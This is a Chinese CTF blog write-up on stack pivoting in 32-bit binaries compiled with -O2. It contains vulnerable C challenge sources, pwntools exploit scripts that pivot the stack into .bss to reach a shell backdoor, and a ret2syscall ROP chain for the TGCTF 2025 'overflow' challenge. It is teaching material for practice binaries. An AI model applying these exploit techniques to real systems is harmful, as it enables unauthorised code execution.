O2优化下的栈迁移

前言

最近看Bilibili看到了O2优化的栈溢出,发现O2优化的pwn题是挺有意思的,因而写这篇博客。

【树木】简单的栈溢出漏洞?开启O2优化之后一切都不一样了!哔哩哔哩

相关附件

对其代码的简单复现

类似构造题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//gcc ./o2_pwn.c -o o2_pwn -fno-stack-protector  -no-pie -O2 -m32
#include<stdio.h>

char name[0x1000];

void backdoor() __attribute__((used));

void backdoor() {
system("/bin/sh");
}


int main(){
char buf[0x80];
puts("Show me your name:");
read(0,name,0x800);
puts("Password:");
read(0,buf,0x300);
}

利用代码

简单的,我们可以通过GDB得到利用代码:

1.拿到就能打的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

io = process("./o2_pwn")
# io = remote("ip" ,port)
gdb.attach(io)

backdoor = 0x8049210
bss_addr = 0x804c040

payload = flat([
b"A"*0x700,
backdoor
])
sa(b"name:", payload)
success("BSS Input Success")

payload = flat([
b"A"*0x80,
0x700 + bss_addr +4
])
sa(b"Password:", payload)
success("Stack Input Success")


io.interactive()

2.我自用的脚本(需要自行改动部分代码,并开启tmux后才可享用美食)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
import LibcSearcher
import sys

#Init Space
file = './o2_pwn'
#libc = ELF("./libc.so")
gdb_plugin = '/home/mindedness/pwn'

#=====================================================
elf = ELF(file)

context.binary = elf
context.os = 'linux'
IsGDB = ''

if 'remote' in sys.argv or 'REMOTE' in sys.argv:
print('<Host Port> or <nc Host Port>')
Remote_Setting = input().split()
if 'nc' in Remote_Setting:
Remote_Setting.remove('nc')
for _ in range(0,len(Remote_Setting)):
item = Remote_Setting[0]
Remote_Setting.remove(item)
if ':' in item:
Remote_Setting.extend(item.split(':'))
else:
Remote_Setting.append(item)
if ':' in Remote_Setting:
Remote_Setting.remove(':')
while '' in Remote_Setting:
Remote_Setting.remove('')
host, port = Remote_Setting
port = int(port)
io = remote(host, port)
GDB = lambda: 1 == 1
else:
io = process(file)
print("Debug Mode? Y/N (yes/no)")
IsDebug = input().lower()
print("Start GDB? Y/N (yes/no)")
IsGDB = input().lower()
if IsDebug == 'yes' or IsDebug == 'y':
context.log_level = 'debug'

if IsGDB == 'yes' or IsGDB == 'y':
context.terminal = ['tmux', 'split-window', '-v', '-t', '0']
tty_0 = subprocess.check_output([
'tmux', 'display-message', '-p', '#{pane_tty}'
]).decode().strip()
tty_1, pane_id_1 = subprocess.check_output([
'tmux', 'split-window', '-h', '-P', '-F', '#{pane_tty} #{pane_id}', 'cat -'
]).decode().strip().split()

gdb_script = f"""
set context-output {tty_1}
define hook-quit
shell tmux kill-pane -t {pane_id_1}
end

rename_import ./.rename
"""

print(gdb_script)
GDB = lambda: gdb.attach(io, gdb_script)
else:
io = process(file)
GDB = lambda: 1 == 1


if elf.arch == 'i386':
B = 4
unpk = lambda unpack : u32(unpack.ljust(B,b'\x00'))
dopk = lambda dopack : p32(dopack)
elif elf.arch == 'amd64':
B = 8
unpk = lambda unpack : u64(unpack.ljust(B,b'\x00'))
dopk = lambda dopack : p64(dopack)
else:
B = int(input("Input Address Byte: "))

success(f"Arch = {elf.arch} || B = {B}")

# 函数绑定
int_to_byte = lambda numbers=0 : str(numbers).encode('utf-8')
find = lambda gadget : next(elf.search(gadget))

sla = lambda rcv, snd: io.sendlineafter(rcv, snd)
sl = lambda snd: io.sendline(snd)
sa = lambda rcv, snd: io.sendafter(rcv, snd)
rcv = lambda num, t=Timeout.default: io.recv(num, t)
rcu = lambda stop, drop=False, t=Timeout.default: io.recvuntil(stop, drop, t)
SHELL = lambda: io.interactive()
#=====================================================

backdoor = 0x8049210
bss_addr = 0x804c040
GDB()
payload = flat([
b"A"*0x700,
backdoor
])
sa(b"name:", payload)
success("BSS Input Success")
payload = flat([
b"A"*0x80,
0x700 + bss_addr +4
])

sa(b"Password:", payload)
success("Stack Input Success")


SHELL()

对利用代码的疑问

Q1

为什么脚本中的偏移是0x80,而不是IDA中显示的0x88?

我们在实际做题时判断偏移量,是不能仅靠IDA所解析出的偏移量直接下定论的,我们一般需要对其再进行一次动调。

1
2
gdb ./o2_pwn
b *0x80490D6

动调获得image-20250527011400922

image-20250527012622154

再看最后ret之前的操作

image-20250527170141367

可以发现,最后将esp置为了 [ecx - 4],而ecx在三个pop的最前端,即esp将置为此时的显示的[ebp-8] -> retaddr+0xc,即最后esp将会变成 buf+0x80 位置后四字节所存放的地址-4。

因而可以确定偏移位置为 buf+0x80

Q2

“bss_addr +0x700+4”中的”+4”是在干什么?

我们在 Q1 中就简单提到了一下这个”4”,实际上这个”4”是因为:

​ 程序对esp的赋值是[ecx-4],而我们能通过栈溢出控制的是ecx,则我们需要的是将esp赋值为 target_addr+0x4

Q3

“bss_addr +0x700+4”中的”+0x700”是在干什么?

我们可以给出一个无法成功获取shell的脚本来回答这个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

io = process("./o2_pwn")
# io = remote("ip" ,port)
gdb.attach(io)

backdoor = 0x8049210
bss_addr = 0x804c040

payload = flat([
backdoor
])
sa(b"name:", payload)
success("BSS Input Success")

payload = flat([
b"A"*0x80,
bss_addr +4
])
sa(b"Password:", payload)
success("Stack Input Success")


io.interactive()

在该脚本中,我们将 backdoor 函数地址放进了bss段中,并将栈迁移至了bss段处。

但明显发现,exp运行未成功获取shell,返回报错为 stopped with exit code -11 (SIGSEGV) 这明显可以知道,运行payload时,程序意外结束了。

我们进行DBG,可以发现,程序结束在 push ebx处

image-20250527021640771

对此时栈空间进行vmmap检查,发现其到了r–p的区域,此区域不可读,因而push指令运行失败。

image-20250527021805718

因而,我们就有这样的解决方法:

​ 抬高栈空间,让运行system函数时有足够的空间进行push操作。

因而我们对其 addr+0x700,增加了0x700的占位字节

对偏移错误显示的理解

我们在O2优化下,可以看到原本是leave的地方,变成了下述代码

image-20250527170200552

在上述代码下,我们的代码执行流变成了从stk跳到对应的return_address。而这个return_address其实并不是对应在现在所显示的位置上。

image-20250529095113293

因而我们必须,通过自己GDB获得相应的return_address存储位置。而且因为中间的数据实际对于O2优化后的程序是有用的,所以我们如果直接覆盖,极有可能会发生程序的崩溃。

TGCTF 2025 Overflow

[TGCTF/TGCTF 2025/PWN/overflow at main · Jay17-git/TGCTF](https://github.com/Jay17-git/TGCTF/tree/main/TGCTF 2025/PWN/overflow)

这是一道今年gets师傅出的一个题目,考点有部分重合,写起来也是很有意思的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// gcc p3.c -o p3 -m32 -static -fno-stack-protector -g

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// 内嵌pop ecx; ret gadget
__attribute__((used))
void pop_ecx_ret() {
__asm__("pop %ecx; ret");
}
char name[0x100];
int main()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("could you tell me your name?");
read(0, name, 0x100);
char buf[200];
printf("i heard you love gets,right?\n");
gets(buf);
return 0;
}

IDA反编译结果

Overflow

o2_pwn

不能说是看起来不一样,只能说完全一致

image-20250530015855990

image-20250530080315886

和我们分析的o2_pwn基本一致,只不过将 “xor eax,eax”换成了”mov eax,0”,并将其放至”lea esp,[ebp-8]”前面。

但其本质都是一样的。我们可以按照之前计算偏移的方法来计算这个的偏移,为 0xCC。

我们需要迁移到的地方是 name,则我们需要将迁移点修改为 name+4

这个题目是静态编译的,因而我们可以通过题目给出的gadget,打ret2syscall + Stack Pivoting。

具体攻击脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn import *
import LibcSearcher
import sys

#Init Space
file = './pwn'
#libc = ELF("./libc.so")
gdb_plugin = '/home/mindedness/pwn'

#=====================================================
elf = ELF(file)

context.binary = elf
context.os = 'linux'
IsGDB = ''

if 'remote' in sys.argv or 'REMOTE' in sys.argv:
print('<Host Port> or <nc Host Port>')
Remote_Setting = input().split()
if 'nc' in Remote_Setting:
Remote_Setting.remove('nc')
for _ in range(0,len(Remote_Setting)):
item = Remote_Setting[0]
Remote_Setting.remove(item)
if ':' in item:
Remote_Setting.extend(item.split(':'))
else:
Remote_Setting.append(item)
if ':' in Remote_Setting:
Remote_Setting.remove(':')
while '' in Remote_Setting:
Remote_Setting.remove('')
host, port = Remote_Setting
port = int(port)
io = remote(host, port)
GDB = lambda: 1 == 1
else:
io = process(file)
print("Debug Mode? Y/N (yes/no)")
IsDebug = input().lower()
print("Start GDB? Y/N (yes/no)")
IsGDB = input().lower()
if IsDebug == 'yes' or IsDebug == 'y':
context.log_level = 'debug'

if IsGDB == 'yes' or IsGDB == 'y':
context.terminal = ['tmux', 'split-window', '-v', '-t', '0']
tty_0 = subprocess.check_output([
'tmux', 'display-message', '-p', '#{pane_tty}'
]).decode().strip()
tty_1, pane_id_1 = subprocess.check_output([
'tmux', 'split-window', '-h', '-P', '-F', '#{pane_tty} #{pane_id}', 'cat -'
]).decode().strip().split()

gdb_script = f"""
set context-output {tty_1}
define hook-quit
shell tmux kill-pane -t {pane_id_1}
end

rename_import ./.rename
"""

print(gdb_script)
GDB = lambda: gdb.attach(io, gdb_script)
else:
io = process(file)
GDB = lambda: 1 == 1


if elf.arch == 'i386':
B = 4
unpk = lambda unpack : u32(unpack.ljust(B,b'\x00'))
dopk = lambda dopack : p32(dopack)
elif elf.arch == 'amd64':
B = 8
unpk = lambda unpack : u64(unpack.ljust(B,b'\x00'))
dopk = lambda dopack : p64(dopack)
else:
B = int(input("Input Address Byte: "))

success(f"Arch = {elf.arch} || B = {B}")

# 函数绑定
int_to_byte = lambda numbers=0 : str(numbers).encode('utf-8')
find = lambda gadget : next(elf.search(gadget))

sla = lambda rcv, snd: io.sendlineafter(rcv, snd)
sl = lambda snd: io.sendline(snd)
sa = lambda rcv, snd: io.sendafter(rcv, snd)
rcv = lambda num, t=Timeout.default: io.recv(num, t)
rcu = lambda stop, drop=False, t=Timeout.default: io.recvuntil(stop, drop, t)
SHELL = lambda: io.interactive()
#=====================================================



name = 0x80EF320
buf = 0x80EF300

payload = flat([
#name+4,
find( asm("pop eax; ret") ),
0x03, #read syscall number
find( asm("pop ebx; ret") ),
0,
find( asm("pop ecx; ret") ),
buf,
find( asm("pop edx; ret") ),
8,
find( asm("int 0x80; ret") ),
# read(0,buf,8);

find( asm("pop eax; ret") ),
0x0b, #execve syscall number
find( asm("pop ebx; ret") ),
buf,
find( asm("pop ecx; ret") ),
0,
find( asm("pop edx; ret") ),
0,
find( asm("int 0x80; ret") )
# execve(buf,0,0);
])
context.log_level= "Debug"
rcu(b"name?")
sl(payload)


padding = 0xC8
payload = flat([
b"A"*padding,
name+4
])
GDB()
rcu(b"right?")
sl( payload )

sl(b"/bin/sh\x00")

SHELL()

结语

感谢师傅们看到这里了

这篇到这里就结束了,又水了一篇Blog XD